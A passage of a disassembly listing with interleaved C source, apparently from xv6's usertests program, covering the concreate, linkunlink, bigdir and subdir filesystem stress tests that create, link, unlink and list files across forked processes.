-0x53(%ebp),%ebx if (pid && (i % 3) == 1) { 17db: bf ab aa aa aa mov $0xaaaaaaab,%edi { 17e0: 83 ec 64 sub $0x64,%esp printf(1, "concreate test\n"); 17e3: 68 11 44 00 00 push $0x4411 17e8: 6a 01 push $0x1 17ea: e8 71 22 00 00 call 3a60 <printf> file[0] = 'C'; 17ef: c6 45 ad 43 movb $0x43,-0x53(%ebp) file[2] = '\0'; 17f3: c6 45 af 00 movb $0x0,-0x51(%ebp) 17f7: 83 c4 10 add $0x10,%esp 17fa: eb 4c jmp 1848 <concreate+0x78> 17fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if (pid && (i % 3) == 1) { 1800: 89 f0 mov %esi,%eax 1802: 89 f1 mov %esi,%ecx 1804: f7 e7 mul %edi 1806: d1 ea shr %edx 1808: 8d 04 52 lea (%edx,%edx,2),%eax 180b: 29 c1 sub %eax,%ecx 180d: 83 f9 01 cmp $0x1,%ecx 1810: 0f 84 ba 00 00 00 je 18d0 <concreate+0x100> fd = open(file, O_CREATE | O_RDWR); 1816: 83 ec 08 sub $0x8,%esp 1819: 68 02 02 00 00 push $0x202 181e: 53 push %ebx 181f: e8 dd 20 00 00 call 3901 <open> if (fd < 0) { 1824: 83 c4 10 add $0x10,%esp 1827: 85 c0 test %eax,%eax 1829: 78 67 js 1892 <concreate+0xc2> close(fd); 182b: 83 ec 0c sub $0xc,%esp for (i = 0; i < 40; i++) { 182e: 83 c6 01 add $0x1,%esi close(fd); 1831: 50 push %eax 1832: e8 b2 20 00 00 call 38e9 <close> 1837: 83 c4 10 add $0x10,%esp wait(); 183a: e8 8a 20 00 00 call 38c9 <wait> for (i = 0; i < 40; i++) { 183f: 83 fe 28 cmp $0x28,%esi 1842: 0f 84 aa 00 00 00 je 18f2 <concreate+0x122> unlink(file); 1848: 83 ec 0c sub $0xc,%esp file[1] = '0' + i; 184b: 8d 46 30 lea 0x30(%esi),%eax unlink(file); 184e: 53 push %ebx file[1] = '0' + i; 184f: 88 45 ae mov %al,-0x52(%ebp) unlink(file); 1852: e8 ba 20 00 00 call 3911 <unlink> pid = fork(); 1857: e8 5d 20 00 00 call 38b9 <fork> if (pid && (i % 3) == 1) { 185c: 83 c4 10 add $0x10,%esp 185f: 85 c0 test %eax,%eax 1861: 75 9d jne 1800 <concreate+0x30> } else if (pid == 0 && (i % 5) == 1) { 1863: 89 f0 mov %esi,%eax 1865: ba cd cc cc cc mov $0xcccccccd,%edx 186a: f7 e2 mul %edx 186c: c1 ea 02 shr $0x2,%edx 186f: 8d 04 92 lea (%edx,%edx,4),%eax 1872: 29 c6 sub %eax,%esi 1874: 83 fe 01 cmp $0x1,%esi 1877: 74 37 je 18b0 <concreate+0xe0> fd = open(file, O_CREATE | O_RDWR); 1879: 83 ec 08 sub $0x8,%esp 187c: 68 02 02 00 00 push $0x202 1881: 53 push %ebx 1882: e8 7a 20 00 00 call 3901 <open> if (fd < 0) { 1887: 83 c4 10 add $0x10,%esp 188a: 85 c0 test %eax,%eax 188c: 0f 89 28 02 00 00 jns 1aba <concreate+0x2ea> printf(1, "concreate create %s failed\n", file); 1892: 83 ec 04 sub $0x4,%esp 1895: 53 push %ebx 1896: 68 24 44 00 00 push $0x4424 189b: 6a 01 push $0x1 189d: e8 be 21 00 00 call 3a60 <printf> exit(); 18a2: e8 1a 20 00 00 call 38c1 <exit> 18a7: 89 f6 mov %esi,%esi 18a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi link("C0", file); 18b0: 83 ec 08 sub $0x8,%esp 18b3: 53 push %ebx 18b4: 68 21 44 00 00 push $0x4421 18b9: e8 63 20 00 00 call 3921 <link> 18be: 83 c4 10 add $0x10,%esp exit(); 18c1: e8 fb 1f 00 00 call 38c1 <exit> 18c6: 8d 76 00 lea 0x0(%esi),%esi 18c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi link("C0", file); 18d0: 83 ec 08 sub $0x8,%esp for (i = 0; i < 40; i++) { 18d3: 83 c6 01 add $0x1,%esi link("C0", file); 18d6: 53 push %ebx 18d7: 68 21 44 00 00 push $0x4421 18dc: e8 40 20 00 00 call 3921 <link> 18e1: 83 c4 10 add $0x10,%esp wait(); 18e4: e8 e0 1f 00 00 call 38c9 <wait> for (i = 0; i < 40; i++) { 18e9: 83 fe 28 cmp $0x28,%esi 18ec: 0f 85 56 ff ff ff jne 1848 <concreate+0x78> memset(fa, 0, sizeof(fa)); 18f2: 8d 45 c0 lea -0x40(%ebp),%eax 18f5: 83 ec 04 sub $0x4,%esp 18f8: 6a 28 push $0x28 18fa: 6a 00 push $0x0 18fc: 50 push %eax 18fd: e8 fe 1d 00 00 call 3700 <memset> fd = open(".", 0); 1902: 5f pop %edi 1903: 58 pop %eax 1904: 6a 00 push $0x0 1906: 68 2e 46 00 00 push $0x462e 190b: 8d 7d b0 lea -0x50(%ebp),%edi 190e: e8 ee 1f 00 00 call 3901 <open> while (read(fd, &de, sizeof(de)) > 0) { 1913: 83 c4 10 add $0x10,%esp fd = open(".", 0); 1916: 89 c6 mov %eax,%esi n = 0; 1918: c7 45 a4 00 00 00 00 movl $0x0,-0x5c(%ebp) 191f: 90 nop while (read(fd, &de, sizeof(de)) > 0) { 1920: 83 ec 04 sub $0x4,%esp 1923: 6a 10 push $0x10 1925: 57 push %edi 1926: 56 push %esi 1927: e8 ad 1f 00 00 call 38d9 <read> 192c: 83 c4 10 add $0x10,%esp 192f: 85 c0 test %eax,%eax 1931: 7e 3d jle 1970 <concreate+0x1a0> if (de.inum == 0) continue; 1933: 66 83 7d b0 00 cmpw $0x0,-0x50(%ebp) 1938: 74 e6 je 1920 <concreate+0x150> if (de.name[0] == 'C' && de.name[2] == '\0') { 193a: 80 7d b2 43 cmpb $0x43,-0x4e(%ebp) 193e: 75 e0 jne 1920 <concreate+0x150> 1940: 80 7d b4 00 cmpb $0x0,-0x4c(%ebp) 1944: 75 da jne 1920 <concreate+0x150> i = de.name[1] - '0'; 1946: 0f be 45 b3 movsbl -0x4d(%ebp),%eax 194a: 83 e8 30 sub $0x30,%eax if (i < 0 || i >= sizeof(fa)) { 194d: 83 f8 27 cmp $0x27,%eax 1950: 0f 87 4e 01 00 00 ja 1aa4 <concreate+0x2d4> if (fa[i]) { 1956: 80 7c 05 c0 00 cmpb $0x0,-0x40(%ebp,%eax,1) 195b: 0f 85 2d 01 00 00 jne 1a8e <concreate+0x2be> fa[i] = 1; 1961: c6 44 05 c0 01 movb $0x1,-0x40(%ebp,%eax,1) n++; 1966: 83 45 a4 01 addl $0x1,-0x5c(%ebp) 196a: eb b4 jmp 1920 <concreate+0x150> 196c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi close(fd); 1970: 83 ec 0c sub $0xc,%esp 1973: 56 push %esi 1974: e8 70 1f 00 00 call 38e9 <close> if (n != 40) { 1979: 83 c4 10 add $0x10,%esp 197c: 83 7d a4 28 cmpl $0x28,-0x5c(%ebp) 1980: 0f 85 f5 00 00 00 jne 1a7b <concreate+0x2ab> for (i = 0; i < 40; i++) { 1986: 31 f6 xor %esi,%esi 1988: eb 48 jmp 19d2 <concreate+0x202> 198a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if (((i % 3) == 0 && pid == 0) || ((i % 3) == 1 && pid != 0)) { 1990: 85 ff test %edi,%edi 1992: 74 05 je 1999 <concreate+0x1c9> 1994: 83 fa 01 cmp $0x1,%edx 1997: 74 64 je 19fd <concreate+0x22d> unlink(file); 1999: 83 ec 0c sub $0xc,%esp 199c: 53 push %ebx 199d: e8 6f 1f 00 00 call 3911 <unlink> unlink(file); 19a2: 89 1c 24 mov %ebx,(%esp) 19a5: e8 67 1f 00 00 call 3911 <unlink> unlink(file); 19aa: 89 1c 24 mov %ebx,(%esp) 19ad: e8 5f 1f 00 00 call 3911 <unlink> unlink(file); 19b2: 89 1c 24 mov %ebx,(%esp) 19b5: e8 57 1f 00 00 call 3911 <unlink> 19ba: 83 c4 10 add $0x10,%esp if (pid == 0) 19bd: 85 ff test %edi,%edi 19bf: 0f 84 fc fe ff ff je 18c1 <concreate+0xf1> for (i = 0; i < 40; i++) { 19c5: 83 c6 01 add $0x1,%esi wait(); 19c8: e8 fc 1e 00 00 call 38c9 <wait> for (i = 0; i < 40; i++) { 19cd: 83 fe 28 cmp $0x28,%esi 19d0: 74 7e je 1a50 <concreate+0x280> file[1] = '0' + i; 19d2: 8d 46 30 lea 0x30(%esi),%eax 19d5: 88 45 ae mov %al,-0x52(%ebp) pid = fork(); 19d8: e8 dc 1e 00 00 call 38b9 <fork> if (pid < 0) { 19dd: 85 c0 test %eax,%eax pid = fork(); 19df: 89 c7 mov %eax,%edi if (pid < 0) { 19e1: 0f 88 80 00 00 00 js 1a67 <concreate+0x297> if (((i % 3) == 0 && pid == 0) || ((i % 3) == 1 && pid != 0)) { 19e7: b8 ab aa aa aa mov $0xaaaaaaab,%eax 19ec: f7 e6 mul %esi 19ee: d1 ea shr %edx 19f0: 8d 04 52 lea (%edx,%edx,2),%eax 19f3: 89 f2 mov %esi,%edx 19f5: 29 c2 sub %eax,%edx 19f7: 89 d0 mov %edx,%eax 19f9: 09 f8 or %edi,%eax 19fb: 75 93 jne 1990 <concreate+0x1c0> close(open(file, 0)); 19fd: 83 ec 08 sub $0x8,%esp 1a00: 6a 00 push $0x0 1a02: 53 push %ebx 1a03: e8 f9 1e 00 00 call 3901 <open> 1a08: 89 04 24 mov %eax,(%esp) 1a0b: e8 d9 1e 00 00 call 38e9 <close> close(open(file, 0)); 1a10: 58 pop %eax 1a11: 5a pop %edx 1a12: 6a 00 push $0x0 1a14: 53 push %ebx 1a15: e8 e7 1e 00 00 call 3901 <open> 1a1a: 89 04 24 mov %eax,(%esp) 1a1d: e8 c7 1e 00 00 call 38e9 <close> close(open(file, 0)); 1a22: 59 pop %ecx 1a23: 58 pop %eax 1a24: 6a 00 push $0x0 1a26: 53 push %ebx 1a27: e8 d5 1e 00 00 call 3901 <open> 1a2c: 89 04 24 mov %eax,(%esp) 1a2f: e8 b5 1e 00 00 call 38e9 <close> close(open(file, 0)); 1a34: 58 pop %eax 1a35: 5a pop %edx 1a36: 6a 00 push $0x0 1a38: 53 push %ebx 1a39: e8 c3 1e 00 00 call 3901 <open> 1a3e: 89 04 24 mov %eax,(%esp) 1a41: e8 a3 1e 00 00 call 38e9 <close> 1a46: 83 c4 10 add $0x10,%esp 1a49: e9 6f ff ff ff jmp 19bd <concreate+0x1ed> 1a4e: 66 90 xchg %ax,%ax printf(1, "concreate ok\n"); 1a50: 83 ec 08 sub $0x8,%esp 1a53: 68 76 44 00 00 push $0x4476 1a58: 6a 01 push $0x1 1a5a: e8 01 20 00 00 call 3a60 <printf> } 1a5f: 8d 65 f4 lea -0xc(%ebp),%esp 1a62: 5b pop %ebx 1a63: 5e pop %esi 1a64: 5f pop %edi 1a65: 5d pop %ebp 1a66: c3 ret printf(1, "fork failed\n"); 1a67: 83 ec 08 sub $0x8,%esp 1a6a: 68 f9 4c 00 00 push $0x4cf9 1a6f: 6a 01 push $0x1 1a71: e8 ea 1f 00 00 call 3a60 <printf> exit(); 1a76: e8 46 1e 00 00 call 38c1 <exit> printf(1, "concreate not enough files in directory listing\n"); 1a7b: 51 push %ecx 1a7c: 51 push %ecx 1a7d: 68 c0 4f 00 00 push $0x4fc0 1a82: 6a 01 push $0x1 1a84: e8 d7 1f 00 00 call 3a60 <printf> exit(); 1a89: e8 33 1e 00 00 call 38c1 <exit> printf(1, "concreate duplicate file %s\n", de.name); 1a8e: 8d 45 b2 lea -0x4e(%ebp),%eax 1a91: 53 push %ebx 1a92: 50 push %eax 1a93: 68 59 44 00 00 push $0x4459 1a98: 6a 01 push $0x1 1a9a: e8 c1 1f 00 00 call 3a60 <printf> exit(); 1a9f: e8 1d 1e 00 00 call 38c1 <exit> printf(1, "concreate weird file %s\n", de.name); 1aa4: 8d 45 b2 lea -0x4e(%ebp),%eax 1aa7: 56 push %esi 1aa8: 50 push %eax 1aa9: 68 40 44 00 00 push $0x4440 1aae: 6a 01 push $0x1 1ab0: e8 ab 1f 00 00 call 3a60 <printf> exit(); 1ab5: e8 07 1e 00 00 call 38c1 <exit> close(fd); 1aba: 83 ec 0c sub $0xc,%esp 1abd: 50 push %eax 1abe: e8 26 1e 00 00 call 38e9 <close> 1ac3: 83 c4 10 add $0x10,%esp 1ac6: e9 f6 fd ff ff jmp 18c1 <concreate+0xf1> 1acb: 90 nop 1acc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00001ad0 <linkunlink>: { 1ad0: 55 push %ebp 1ad1: 89 e5 mov %esp,%ebp 1ad3: 57 push %edi 1ad4: 56 push %esi 1ad5: 53 push %ebx 1ad6: 83 ec 24 sub $0x24,%esp printf(1, "linkunlink test\n"); 1ad9: 68 84 44 00 00 push $0x4484 1ade: 6a 01 push $0x1 1ae0: e8 7b 1f 00 00 call 3a60 <printf> unlink("x"); 1ae5: c7 04 24 11 47 00 00 movl $0x4711,(%esp) 1aec: e8 20 1e 00 00 call 3911 <unlink> pid = fork(); 1af1: e8 c3 1d 00 00 call 38b9 <fork> if (pid < 0) { 1af6: 83 c4 10 add $0x10,%esp 1af9: 85 c0 test %eax,%eax pid = fork(); 1afb: 89 45 e4 mov %eax,-0x1c(%ebp) if (pid < 0) { 1afe: 0f 88 b6 00 00 00 js 1bba <linkunlink+0xea> unsigned int x = (pid ? 1 : 97); 1b04: 83 7d e4 01 cmpl $0x1,-0x1c(%ebp) 1b08: bb 64 00 00 00 mov $0x64,%ebx if ((x % 3) == 0) { 1b0d: be ab aa aa aa mov $0xaaaaaaab,%esi unsigned int x = (pid ? 1 : 97); 1b12: 19 ff sbb %edi,%edi 1b14: 83 e7 60 and $0x60,%edi 1b17: 83 c7 01 add $0x1,%edi 1b1a: eb 1e jmp 1b3a <linkunlink+0x6a> 1b1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if ((x % 3) == 1) { 1b20: 83 fa 01 cmp $0x1,%edx 1b23: 74 7b je 1ba0 <linkunlink+0xd0> unlink("x"); 1b25: 83 ec 0c sub $0xc,%esp 1b28: 68 11 47 00 00 push $0x4711 1b2d: e8 df 1d 00 00 call 3911 <unlink> 1b32: 83 c4 10 add $0x10,%esp for (i = 0; i < 100; i++) { 1b35: 83 eb 01 sub $0x1,%ebx 1b38: 74 3d je 1b77 <linkunlink+0xa7> x = x * 1103515245 + 12345; 1b3a: 69 cf 6d 4e c6 41 imul $0x41c64e6d,%edi,%ecx 1b40: 8d b9 39 30 00 00 lea 0x3039(%ecx),%edi if ((x % 3) == 0) { 1b46: 89 f8 mov %edi,%eax 1b48: f7 e6 mul %esi 1b4a: d1 ea shr %edx 1b4c: 8d 04 52 lea (%edx,%edx,2),%eax 1b4f: 89 fa mov %edi,%edx 1b51: 29 c2 sub %eax,%edx 1b53: 75 cb jne 1b20 <linkunlink+0x50> close(open("x", O_RDWR | O_CREATE)); 1b55: 83 ec 08 sub $0x8,%esp 1b58: 68 02 02 00 00 push $0x202 1b5d: 68 11 47 00 00 push $0x4711 1b62: e8 9a 1d 00 00 call 3901 <open> 1b67: 89 04 24 mov %eax,(%esp) 1b6a: e8 7a 1d 00 00 call 38e9 <close> 1b6f: 83 c4 10 add $0x10,%esp for (i = 0; i < 100; i++) { 1b72: 83 eb 01 sub $0x1,%ebx 1b75: 75 c3 jne 1b3a <linkunlink+0x6a> if (pid) 1b77: 8b 45 e4 mov -0x1c(%ebp),%eax 1b7a: 85 c0 test %eax,%eax 1b7c: 74 4f je 1bcd <linkunlink+0xfd> wait(); 1b7e: e8 46 1d 00 00 call 38c9 <wait> printf(1, "linkunlink ok\n"); 1b83: 83 ec 08 sub $0x8,%esp 1b86: 68 99 44 00 00 push $0x4499 1b8b: 6a 01 push $0x1 1b8d: e8 ce 1e 00 00 call 3a60 <printf> } 1b92: 8d 65 f4 lea -0xc(%ebp),%esp 1b95: 5b pop %ebx 1b96: 5e pop %esi 1b97: 5f pop %edi 1b98: 5d pop %ebp 1b99: c3 ret 1b9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi link("cat", "x"); 1ba0: 83 ec 08 sub $0x8,%esp 1ba3: 68 11 47 00 00 push $0x4711 1ba8: 68 95 44 00 00 push $0x4495 1bad: e8 6f 1d 00 00 call 3921 <link> 1bb2: 83 c4 10 add $0x10,%esp 1bb5: e9 7b ff ff ff jmp 1b35 <linkunlink+0x65> printf(1, "fork failed\n"); 1bba: 52 push %edx 1bbb: 52 push %edx 1bbc: 68 f9 4c 00 00 push $0x4cf9 1bc1: 6a 01 push $0x1 1bc3: e8 98 1e 00 00 call 3a60 <printf> exit(); 1bc8: e8 f4 1c 00 00 call 38c1 <exit> exit(); 1bcd: e8 ef 1c 00 00 call 38c1 <exit> 1bd2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1bd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00001be0 <bigdir>: { 1be0: 55 push %ebp 1be1: 89 e5 mov %esp,%ebp 1be3: 57 push %edi 1be4: 56 push %esi 1be5: 53 push %ebx 1be6: 83 ec 24 sub $0x24,%esp printf(1, "bigdir test\n"); 1be9: 68 a8 44 00 00 push $0x44a8 1bee: 6a 01 push $0x1 1bf0: e8 6b 1e 00 00 call 3a60 <printf> unlink("bd"); 1bf5: c7 04 24 b5 44 00 00 movl $0x44b5,(%esp) 1bfc: e8 10 1d 00 00 call 3911 <unlink> fd = open("bd", O_CREATE); 1c01: 5a pop %edx 1c02: 59 pop %ecx 1c03: 68 00 02 00 00 push $0x200 1c08: 68 b5 44 00 00 push $0x44b5 1c0d: e8 ef 1c 00 00 call 3901 <open> if (fd < 0) { 1c12: 83 c4 10 add $0x10,%esp 1c15: 85 c0 test %eax,%eax 1c17: 0f 88 de 00 00 00 js 1cfb <bigdir+0x11b> close(fd); 1c1d: 83 ec 0c sub $0xc,%esp 1c20: 8d 7d de lea -0x22(%ebp),%edi for (i = 0; i < 500; i++) { 1c23: 31 f6 xor %esi,%esi close(fd); 1c25: 50 push %eax 1c26: e8 be 1c 00 00 call 38e9 <close> 1c2b: 83 c4 10 add $0x10,%esp 1c2e: 66 90 xchg %ax,%ax name[1] = '0' + (i / 64); 1c30: 89 f0 mov %esi,%eax if (link("bd", name) != 0) { 1c32: 83 ec 08 sub $0x8,%esp name[0] = 'x'; 1c35: c6 45 de 78 movb $0x78,-0x22(%ebp) name[1] = '0' + (i / 64); 1c39: c1 f8 06 sar $0x6,%eax if (link("bd", name) != 0) { 1c3c: 57 push %edi 1c3d: 68 b5 44 00 00 push $0x44b5 name[1] = '0' + (i / 64); 1c42: 83 c0 30 add $0x30,%eax name[3] = '\0'; 1c45: c6 45 e1 00 movb $0x0,-0x1f(%ebp) name[1] = '0' + (i / 64); 1c49: 88 45 df mov %al,-0x21(%ebp) name[2] = '0' + (i % 64); 1c4c: 89 f0 mov %esi,%eax 1c4e: 83 e0 3f and $0x3f,%eax 1c51: 83 c0 30 add $0x30,%eax 1c54: 88 45 e0 mov %al,-0x20(%ebp) if (link("bd", name) != 0) { 1c57: e8 c5 1c 00 00 call 3921 <link> 1c5c: 83 c4 10 add $0x10,%esp 1c5f: 85 c0 test %eax,%eax 1c61: 89 c3 mov %eax,%ebx 1c63: 75 6e jne 1cd3 <bigdir+0xf3> for (i = 0; i < 500; i++) { 1c65: 83 c6 01 add $0x1,%esi 1c68: 81 fe f4 01 00 00 cmp $0x1f4,%esi 1c6e: 75 c0 jne 1c30 <bigdir+0x50> unlink("bd"); 1c70: 83 ec 0c sub $0xc,%esp 1c73: 68 b5 44 00 00 push $0x44b5 1c78: e8 94 1c 00 00 call 3911 <unlink> 1c7d: 83 c4 10 add $0x10,%esp name[1] = '0' + (i / 64); 1c80: 89 d8 mov %ebx,%eax if (unlink(name) != 0) { 1c82: 83 ec 0c sub $0xc,%esp name[0] = 'x'; 1c85: c6 45 de 78 movb $0x78,-0x22(%ebp) name[1] = '0' + (i / 64); 1c89: c1 f8 06 sar $0x6,%eax if (unlink(name) != 0) { 1c8c: 57 push %edi name[3] = '\0'; 1c8d: c6 45 e1 00 movb $0x0,-0x1f(%ebp) name[1] = '0' + (i / 64); 1c91: 83 c0 30 add $0x30,%eax 1c94: 88 45 df mov %al,-0x21(%ebp) name[2] = '0' + (i % 64); 1c97: 89 d8 mov %ebx,%eax 1c99: 83 e0 3f and $0x3f,%eax 1c9c: 83 c0 30 add $0x30,%eax 1c9f: 88 45 e0 mov %al,-0x20(%ebp) if (unlink(name) != 0) { 1ca2: e8 6a 1c 00 00 call 3911 <unlink> 1ca7: 83 c4 10 add $0x10,%esp 1caa: 85 c0 test %eax,%eax 1cac: 75 39 jne 1ce7 <bigdir+0x107> for (i = 0; i < 500; i++) { 1cae: 83 c3 01 add $0x1,%ebx 1cb1: 81 fb f4 01 00 00 cmp $0x1f4,%ebx 1cb7: 75 c7 jne 1c80 <bigdir+0xa0> printf(1, "bigdir ok\n"); 1cb9: 83 ec 08 sub $0x8,%esp 1cbc: 68 f7 44 00 00 push $0x44f7 1cc1: 6a 01 push $0x1 1cc3: e8 98 1d 00 00 call 3a60 <printf> } 1cc8: 83 c4 10 add $0x10,%esp 1ccb: 8d 65 f4 lea -0xc(%ebp),%esp 1cce: 5b pop %ebx 1ccf: 5e pop %esi 1cd0: 5f pop %edi 1cd1: 5d pop %ebp 1cd2: c3 ret printf(1, "bigdir link failed\n"); 1cd3: 83 ec 08 sub $0x8,%esp 1cd6: 68 ce 44 00 00 push $0x44ce 1cdb: 6a 01 push $0x1 1cdd: e8 7e 1d 00 00 call 3a60 <printf> exit(); 1ce2: e8 da 1b 00 00 call 38c1 <exit> printf(1, "bigdir unlink failed"); 1ce7: 83 ec 08 sub $0x8,%esp 1cea: 68 e2 44 00 00 push $0x44e2 1cef: 6a 01 push $0x1 1cf1: e8 6a 1d 00 00 call 3a60 <printf> exit(); 1cf6: e8 c6 1b 00 00 call 38c1 <exit> printf(1, "bigdir create failed\n"); 1cfb: 50 push %eax 1cfc: 50 push %eax 1cfd: 68 b8 44 00 00 push $0x44b8 1d02: 6a 01 push $0x1 1d04: e8 57 1d 00 00 call 3a60 <printf> exit(); 1d09: e8 b3 1b 00 00 call 38c1 <exit> 1d0e: 66 90 xchg %ax,%ax 00001d10 <subdir>: { 1d10: 55 push %ebp 1d11: 89 e5 mov %esp,%ebp 1d13: 53 push %ebx 1d14: 83 ec 0c sub $0xc,%esp printf(1, "subdir test\n"); 1d17: 68 02 45 00 00 push $0x4502 1d1c: 6a 01 push $0x1 1d1e: e8 3d 1d 00 00 call 3a60 <printf> unlink("ff"); 1d23: c7 04 24 8b 45 00 00 movl $0x458b,(%esp) 1d2a: e8 e2 1b 00 00 call 3911 <unlink> if (mkdir("dd") != 0) { 1d2f: c7 04 24 28 46 00 00 movl $0x4628,(%esp) 1d36: e8 ee 1b 00 00 call 3929 <mkdir> 1d3b: 83 c4 10 add $0x10,%esp 1d3e: 85 c0 test %eax,%eax 1d40: 0f 85 b3 05 00 00 jne 22f9 <subdir+0x5e9> fd = open("dd/ff", O_CREATE | O_RDWR); 1d46: 83 ec 08 sub $0x8,%esp 1d49: 68 02 02 00 00 push $0x202 1d4e: 68 61 45 00 00 push $0x4561 1d53: e8 a9 1b 00 00 call 3901 <open> if (fd < 0) { 1d58: 83 c4 10 add $0x10,%esp 1d5b: 85 c0 test %eax,%eax fd = open("dd/ff", O_CREATE | O_RDWR); 1d5d: 89 c3 mov %eax,%ebx if (fd < 0) { 1d5f: 0f 88 81 05 00 00 js 22e6 <subdir+0x5d6> write(fd, "ff", 2); 1d65: 83 ec 04 sub $0x4,%esp 1d68: 6a 02 push $0x2 1d6a: 68 8b 45 00 00 push $0x458b 1d6f: 50 push %eax 1d70: e8 6c 1b 00 00 call 38e1 <write> close(fd); 1d75: 89 1c 24 mov %ebx,(%esp) 1d78: e8 6c 1b 00 00 call 38e9 <close> if (unlink("dd") >= 0) { 1d7d: c7 04 24 28 46 00 00 movl $0x4628,(%esp) 1d84: e8 88 1b 00 00 call 3911 <unlink> 1d89: 83 c4 10 add $0x10,%esp 1d8c: 85 c0 test %eax,%eax 1d8e: 0f 89 3f 05 00 00 jns 22d3 <subdir+0x5c3> if (mkdir("/dd/dd") != 0) { 1d94: 83 ec 0c sub $0xc,%esp 1d97: 68 3c 45 00 00 push $0x453c 1d9c: e8 88 1b 00 00 call 3929 <mkdir> 1da1: 83 c4 10 add $0x10,%esp 1da4: 85 c0 test %eax,%eax 1da6: 0f 85 14 05 00 00 jne 22c0 <subdir+0x5b0> fd = open("dd/dd/ff", O_CREATE | O_RDWR); 1dac: 83 ec 08 sub $0x8,%esp 1daf: 68 02 02 00 00 push $0x202 1db4: 68 5e 45 00 00 push $0x455e 1db9: e8 43 1b 00 00 call 3901 <open> if (fd < 0) { 1dbe: 83 c4 10 add $0x10,%esp 1dc1: 85 c0 test %eax,%eax fd = open("dd/dd/ff", O_CREATE | O_RDWR); 1dc3: 89 c3 mov %eax,%ebx if (fd < 0) { 1dc5: 0f 88 24 04 00 00 js 21ef <subdir+0x4df> write(fd, "FF", 2); 1dcb: 83 ec 04 sub $0x4,%esp 1dce: 6a 02 push $0x2 1dd0: 68 7f 45 00 00 push $0x457f 1dd5: 50 push %eax 1dd6: e8 06 1b 00 00 call 38e1 <write> close(fd); 1ddb: 89 1c 24 mov %ebx,(%esp) 1dde: e8 06 1b 00 00 call 38e9 <close> fd = open("dd/dd/../ff", 0); 1de3: 58 pop %eax 1de4: 5a pop %edx 1de5: 6a 00 push $0x0 1de7: 68 82 45 00 00 push $0x4582 1dec: e8 10 1b 00 00 call 3901 <open> if (fd < 0) { 1df1: 83 c4 10 add $0x10,%esp 1df4: 85 c0 test %eax,%eax fd = open("dd/dd/../ff", 0); 1df6: 89 c3 mov %eax,%ebx if (fd < 0) { 1df8: 0f 88 de 03 00 00 js 21dc <subdir+0x4cc> cc = read(fd, buf, sizeof(buf)); 1dfe: 83 ec 04 sub $0x4,%esp 1e01: 68 00 20 00 00 push $0x2000 1e06: 68 80 86 00 00 push $0x8680 1e0b: 50 push %eax 1e0c: e8 c8 1a 00 00 call 38d9 <read> if (cc != 2 || buf[0] != 'f') { 1e11: 83 c4 10 add $0x10,%esp 1e14: 83 f8 02 cmp $0x2,%eax 1e17: 0f 85 3a 03 00 00 jne 2157 <subdir+0x447> 1e1d: 80 3d 80 86 00 00 66 cmpb $0x66,0x8680 1e24: 0f 85 2d 03 00 00 jne 2157 <subdir+0x447> close(fd); 1e2a: 83 ec 0c sub $0xc,%esp 1e2d: 53 push %ebx 1e2e: e8 b6 1a 00 00 call 38e9 <close> if (link("dd/dd/ff", "dd/dd/ffff") != 0) { 1e33: 5b pop %ebx 1e34: 58 pop %eax 1e35: 68 c2 45 00 00 push $0x45c2 1e3a: 68 5e 45 00 00 push $0x455e 1e3f: e8 dd 1a 00 00 call 3921 <link> 1e44: 83 c4 10 add $0x10,%esp 1e47: 85 c0 test %eax,%eax 1e49: 0f 85 c6 03 00 00 jne 2215 <subdir+0x505> if (unlink("dd/dd/ff") != 0) { 1e4f: 83 ec 0c sub $0xc,%esp 1e52: 68 5e 45 00 00 push $0x455e 1e57: e8 b5 1a 00 00 call 3911 <unlink> 1e5c: 83 c4 10 add $0x10,%esp 1e5f: 85 c0 test %eax,%eax 1e61: 0f 85 16 03 00 00 jne 217d <subdir+0x46d> if (open("dd/dd/ff", O_RDONLY) >= 0) { 1e67: 83 ec 08 sub $0x8,%esp 1e6a: 6a 00 push $0x0 1e6c: 68 5e 45 00 00 push $0x455e 1e71: e8 8b 1a 00 00 call 3901 <open> 1e76: 83 c4 10 add $0x10,%esp 1e79: 85 c0 test %eax,%eax 1e7b: 0f 89 2c 04 00 00 jns 22ad <subdir+0x59d> if (chdir("dd") != 0) { 1e81: 83 ec 0c sub $0xc,%esp 1e84: 68 28 46 00 00 push $0x4628 1e89: e8 a3 1a 00 00 call 3931 <chdir> 1e8e: 83 c4 10 add $0x10,%esp 1e91: 85 c0 test %eax,%eax 1e93: 0f 85 01 04 00 00 jne 229a <subdir+0x58a> if (chdir("dd/../../dd") != 0) { 1e99: 83 ec 0c sub $0xc,%esp 1e9c: 68 f6 45 00 00 push $0x45f6 1ea1: e8 8b 1a 00 00 call 3931 <chdir> 1ea6: 83 c4 10 add $0x10,%esp 1ea9: 85 c0 test %eax,%eax 1eab: 0f 85 b9 02 00 00 jne 216a <subdir+0x45a> if (chdir("dd/../../../dd") != 0) { 1eb1: 83 ec 0c sub $0xc,%esp 1eb4: 68 1c 46 00 00 push $0x461c 1eb9: e8 73 1a 00 00 call 3931 <chdir> 1ebe: 83 c4 10 add $0x10,%esp 1ec1: 85 c0 test %eax,%eax 1ec3: 0f 85 a1 02 00 00 jne 216a <subdir+0x45a> if (chdir("./..") != 0) { 1ec9: 83 ec 0c sub $0xc,%esp 1ecc: 68 2b 46 00 00 push $0x462b 1ed1: e8 5b 1a 00 00 call 3931 <chdir> 1ed6: 83 c4 10 add $0x10,%esp 1ed9: 85 c0 test %eax,%eax 1edb: 0f 85 21 03 00 00 jne 2202 <subdir+0x4f2> fd = open("dd/dd/ffff", 0); 1ee1: 83 ec 08 sub $0x8,%esp 1ee4: 6a 00 push $0x0 1ee6: 68 c2 45 00 00 push $0x45c2 1eeb: e8 11 1a 00 00 call 3901 <open> if (fd < 0) { 1ef0: 83 c4 10 add $0x10,%esp 1ef3: 85 c0 test %eax,%eax fd = open("dd/dd/ffff", 0); 1ef5: 89 c3 mov %eax,%ebx if (fd < 0) { 1ef7: 0f 88 e0 04 00 00 js 23dd 